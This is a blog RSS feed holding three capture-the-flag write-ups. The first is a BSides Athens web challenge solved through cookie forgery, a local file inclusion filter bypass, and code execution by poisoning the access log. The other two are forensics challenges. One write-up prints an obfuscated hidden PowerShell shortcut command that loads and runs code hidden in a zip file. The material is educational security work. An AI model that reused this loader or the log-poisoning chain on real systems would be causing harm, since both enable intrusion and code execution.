<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CTF Archives - George Gerontakis</title>
	<atom:link href="https://blog.gerontakis.eu/tag/ctf/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.gerontakis.eu/tag/ctf/</link>
	<description>My personal Blog and more 😎</description>
	<lastBuildDate>Wed, 05 Jul 2023 13:15:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>BSides Athens 2023 &#8211; Web &#8211; Broken Production Challenge Solution</title>
		<link>https://blog.gerontakis.eu/2023/07/05/bsides-athens-2023-web-broken-production-challenge-solution/</link>
					<comments>https://blog.gerontakis.eu/2023/07/05/bsides-athens-2023-web-broken-production-challenge-solution/#respond</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Wed, 05 Jul 2023 13:12:11 +0000</pubDate>
				<category><![CDATA[Arbitrary Code Execution]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[arbitrary code execution]]></category>
		<category><![CDATA[BSides]]></category>
		<category><![CDATA[BSides Athens]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Command Ececution]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[RCE]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=103</guid>

					<description><![CDATA[<p>The description is pretty clear about what should we expect in this challenge (Web application Privilege escalation and Command Execution). A zip file is given with the following structure: First of all let&#8217;s examine the Dockerfile in order to get a better understanding of how this works: Nothing &#8220;too important&#8221; here, but we can see [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2023/07/05/bsides-athens-2023-web-broken-production-challenge-solution/">BSides Athens 2023 &#8211; Web &#8211; Broken Production Challenge Solution</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="527" height="630" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-30.png" alt="" class="wp-image-104" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-30.png 527w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-30-251x300.png 251w" sizes="(max-width: 527px) 100vw, 527px" /></figure>



<span id="more-103"></span>



<p class="wp-block-paragraph">The description is pretty clear about what should we expect in this challenge (Web application Privilege escalation and Command Execution).</p>



<p class="wp-block-paragraph">A zip file is given with the following structure:</p>



<figure class="wp-block-image size-full"><img decoding="async" width="354" height="829" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-32.png" alt="" class="wp-image-106" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-32.png 354w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-32-128x300.png 128w" sizes="(max-width: 354px) 100vw, 354px" /></figure>



<p class="wp-block-paragraph">First of all let&#8217;s examine the Dockerfile in order to get a better understanding of how this works:</p>



<figure class="wp-block-image size-full"><img decoding="async" width="883" height="641" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-33.png" alt="" class="wp-image-108" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-33.png 883w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-33-300x218.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-33-768x558.png 768w" sizes="(max-width: 883px) 100vw, 883px" /></figure>



<p class="wp-block-paragraph">Nothing &#8220;too important&#8221; here, but we can see where and how the flag is stored. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60e.png" alt="😎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> The name of the file that contains the flag is randomly generated.</p>



<p class="wp-block-paragraph">Let&#8217;s start the instance and add the ip to hosts file as <strong>ctfchall1</strong></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="625" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27-1024x625.png" alt="" class="wp-image-109" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27-1024x625.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27-300x183.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27-768x469.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27-1536x938.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-27.png 1801w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">An account can be created (user: gger / pass: gger):</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="652" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28-1024x652.png" alt="" class="wp-image-111" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28-1024x652.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28-300x191.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28-768x489.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28-1536x978.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-28.png 1772w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">With the created account we login:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="433" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-1024x433.png" alt="" class="wp-image-112" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-1024x433.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-300x127.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-768x325.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-1536x649.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-29-2048x866.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">By examining the downloaded source code of the challenge, we can identify a part responsible for seting the authenticated user&#8217;s cookie after a succesfull login:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="829" height="889" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-35.png" alt="" class="wp-image-114" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-35.png 829w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-35-280x300.png 280w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-35-768x824.png 768w" sizes="auto, (max-width: 829px) 100vw, 829px" /></figure>



<p class="wp-block-paragraph">It is just a base64 ,json encoded username value, that we can easily create and set ourselves:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="960" height="181" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-36.png" alt="" class="wp-image-115" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-36.png 960w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-36-300x57.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-36-768x145.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-36-953x181.png 953w" sizes="auto, (max-width: 960px) 100vw, 960px" /></figure>



<p class="wp-block-paragraph">After that, with the help of the Burp Proxy <strong>Match and replace rules</strong> setting we can add a replace rule that replaces the PHPSESSID value with ours.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="521" height="277" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-30_1.png" alt="" class="wp-image-116" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-30_1.png 521w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-30_1-300x160.png 300w" sizes="auto, (max-width: 521px) 100vw, 521px" /></figure>



<p class="wp-block-paragraph">Now, when we refresh index of the web app, we are authenticated as <strong>Admin</strong>!</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="243" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-1024x243.png" alt="" class="wp-image-117" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-1024x243.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-300x71.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-768x183.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-1536x365.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-31-2048x487.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Analyzing the php source code of the project we also find another vulnerability that could lead to Local File Inclusion (LFI):</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="636" height="347" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-37.png" alt="" class="wp-image-118" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-37.png 636w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-37-300x164.png 300w" sizes="auto, (max-width: 636px) 100vw, 636px" /></figure>



<p class="wp-block-paragraph">Abusing the user controlled <strong>util </strong>parameter can lead to local file inclusion, but because the line 7 replaces the chars &#8220;../&#8221; we need to double the chars we add to the Get request <strong>(&#8230;.// instead of ../ so when the are replaced only the needed ../ part will remain</strong>).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="414" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-33-1024x414.png" alt="" class="wp-image-119" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-33-1024x414.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-33-300x121.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-33-768x310.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/2023-06-23_14-33.png 1388w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">There are several ways that an LFI can lead to Remote Command Execution. One of them is by polluting the access log file which will later be included and processed by php fpm.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="728" height="202" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-38.png" alt="" class="wp-image-121" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-38.png 728w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-38-300x83.png 300w" sizes="auto, (max-width: 728px) 100vw, 728px" /></figure>



<p class="wp-block-paragraph">So we try to pollute the access log file found in <strong>/var/log/nginx/access.log</strong> </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37-1024x239.png" alt="" class="wp-image-124" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37-1024x239.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37-300x70.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37-768x179.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37-1536x358.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-37.png 1561w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">If we request again the <strong>access.log</strong> file we can see that the php code we entered via the <strong>User-Agent</strong> header in order to pollute the log file, was executed successfully!</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="343" src="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43-1024x343.png" alt="" class="wp-image-126" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43-1024x343.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43-300x100.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43-768x257.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43-1536x514.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-43.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">We can also see the flag file with the random name <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60e.png" alt="😎" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">Using the same vulnerability we can read the file:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="546" src="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50-1024x546.png" alt="" class="wp-image-127" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50-1024x546.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50-300x160.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50-768x409.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50-1536x818.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50.png 1556w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="505" src="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1-1024x505.png" alt="" class="wp-image-128" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1-1024x505.png 1024w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1-300x148.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1-768x379.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1-1536x757.png 1536w, https://blog.gerontakis.eu/wp-content/uploads/2023/07/2023-06-23_14-50_1.png 1562w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>The post <a href="https://blog.gerontakis.eu/2023/07/05/bsides-athens-2023-web-broken-production-challenge-solution/">BSides Athens 2023 &#8211; Web &#8211; Broken Production Challenge Solution</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2023/07/05/bsides-athens-2023-web-broken-production-challenge-solution/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>HTB x UNI CTF Finals – Zipper – Forensics Writeup</title>
		<link>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/</link>
					<comments>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/#respond</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Wed, 31 May 2023 23:08:44 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Hack The Box]]></category>
		<category><![CDATA[htb]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[steganography]]></category>
		<category><![CDATA[stego]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=54</guid>

					<description><![CDATA[<p>After unziping the given file we get two files. One JPEG image and a Shortcut file. When we view the propeerties of the Shortcut file, we can clearly see that when clicked it executes a powershell command. Lets take this into a sandbox and run each part of the above command separately. The above loads [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/">HTB x UNI CTF Finals – Zipper – Forensics Writeup</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="710" height="517" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image.png" alt="" class="wp-image-55" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image.png 710w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-300x218.png 300w" sizes="auto, (max-width: 710px) 100vw, 710px" /></figure>



<span id="more-54"></span>



<p class="wp-block-paragraph">After unziping the given file we get two files. One JPEG image and a Shortcut file.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="189" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5.png" alt="" class="wp-image-60" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5-300x58.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5-768x149.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph"><a rel="noreferrer noopener" href="https://github.com/INSSec-UniWA/Writeups/blob/htb-unictf-2021-finals/HTB-UniCTF-2021/Finals/Forensics/Zipper/images/Screenshot_1.png" target="_blank"></a>When we view the propeerties of the Shortcut file, we can clearly see that when clicked it executes a powershell command.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="603" height="596" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6.png" alt="" class="wp-image-61" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6.png 603w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6-300x297.png 300w" sizes="auto, (max-width: 603px) 100vw, 603px" /></figure>



<div class="wp-block-kevinbatdorf-code-block-pro" style="font-size:.875rem;line-height:1.25rem"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#333545;color:#ebebe6">PowerShell</span><span role="button" tabindex="0" data-code="%comspec% /c powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&amp;{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes(&quot;Ae%4@3SDs&quot;);$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'&quot;" style="color:#f6f6f4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dracula-soft" style="background-color: #282A36" tabindex="0"><code><span class="line"><span style="color: #F286C4">%</span><span style="color: #F6F6F4">comspec</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4"> </span><span style="color: #F286C4">/</span><span style="color: #F6F6F4">c powershel</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4">LOCALAPPDATA:~</span><span style="color: #BF9EEE">-1</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4"> </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">eP bypasS </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">win Hi</span><span style="color: #DEE492">&#39;</span><span style="color: #E7EE98">dde</span><span style="color: #DEE492">&#39;</span><span style="color: #F6F6F4">n </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">c </span><span style="color: #DEE492">&#39;</span><span style="color: #E7EE98">&amp;{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes(&quot;Ae%4@3SDs&quot;);$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}</span><span style="color: #DEE492">&#39;&quot;</span></span></code></pre></div>



<p class="wp-block-paragraph">Lets take this into a sandbox and run each part of the above command separately.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="80" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7.png" alt="" class="wp-image-62" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7-300x25.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7-768x63.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">The above loads some code from the image in the zipped file to be executed using Invoke-Expression (iex). So the next step is to view this extracted string.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="218" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8.png" alt="" class="wp-image-63" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8-300x67.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8-768x172.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">And we get the flag!!</p>



<p class="wp-block-paragraph"><strong>HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}</strong></p>
<p>The post <a href="https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/">HTB x UNI CTF Finals – Zipper – Forensics Writeup</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Warren Buffer writeup- Forensics &#8211; Hack The Box University CTF 2020 (HTB UNI CTF 2020)</title>
		<link>https://blog.gerontakis.eu/2023/05/31/warren-buffer-writeup-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/</link>
					<comments>https://blog.gerontakis.eu/2023/05/31/warren-buffer-writeup-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/#respond</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Wed, 31 May 2023 16:29:10 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Hack The Box]]></category>
		<category><![CDATA[Blockchain]]></category>
		<category><![CDATA[Ethereum]]></category>
		<category><![CDATA[exfiltration]]></category>
		<category><![CDATA[htb]]></category>
		<category><![CDATA[pcap]]></category>
		<category><![CDATA[wireshark]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=14</guid>

					<description><![CDATA[<p>This file is given: The challenge gives us a pcap file, so lets analyze it using Wireshark! Searching Protocols we find some HTTP requests. Lets apply a display filter for HTTP requests only! We discover that 2 bytes of every User-Agent header can be different for each request. It could be hex! Lets strip those [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2023/05/31/warren-buffer-writeup-forensics-hack-the-box-university-ctf-2020-htb-uni-ctf-2020/">Warren Buffer writeup- Forensics &#8211; Hack The Box University CTF 2020 (HTB UNI CTF 2020)</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="717" height="374" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image.png" alt="" class="wp-image-15" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image.png 717w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-300x156.png 300w" sizes="auto, (max-width: 717px) 100vw, 717px" /></figure>



<span id="more-14"></span>



<p class="wp-block-paragraph">This file is given:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="116" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-3.png" alt="" class="wp-image-18" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-3.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-3-300x36.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-3-768x91.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">The challenge gives us a pcap file, so lets analyze it using Wireshark!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="246" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-4.png" alt="" class="wp-image-19" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-4.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-4-300x76.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-4-768x194.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">Searching Protocols we find some HTTP requests.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="35" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-5.png" alt="" class="wp-image-20" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-5.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-5-300x11.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-5-768x28.png 768w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-5-953x35.png 953w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">Lets apply a display filter for HTTP requests only!</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="828" height="150" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-6.png" alt="" class="wp-image-21" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-6.png 828w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-6-300x54.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-6-768x139.png 768w" sizes="auto, (max-width: 828px) 100vw, 828px" /></figure>



<p class="wp-block-paragraph">We discover that 2 bytes of every User-Agent header can be different for each request.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="96" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-7.png" alt="" class="wp-image-22" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-7.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-7-300x30.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-7-768x76.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="96" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-8.png" alt="" class="wp-image-23" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-8.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-8-300x30.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-8-768x76.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="90" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-9.png" alt="" class="wp-image-24" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-9.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-9-300x28.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-9-768x71.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">It could be hex! Lets strip those 2 bytes from User-Agent header of every request and assemble them!</p>



<p class="wp-block-paragraph">We can write a python script to parse those bytes from every request or we can just use tshark and extract only those 2 bytes from each request.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="67" src="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-10.png" alt="" class="wp-image-25" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-10.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-10-300x21.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/05/image-10-768x53.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">We convert from hex.</p>



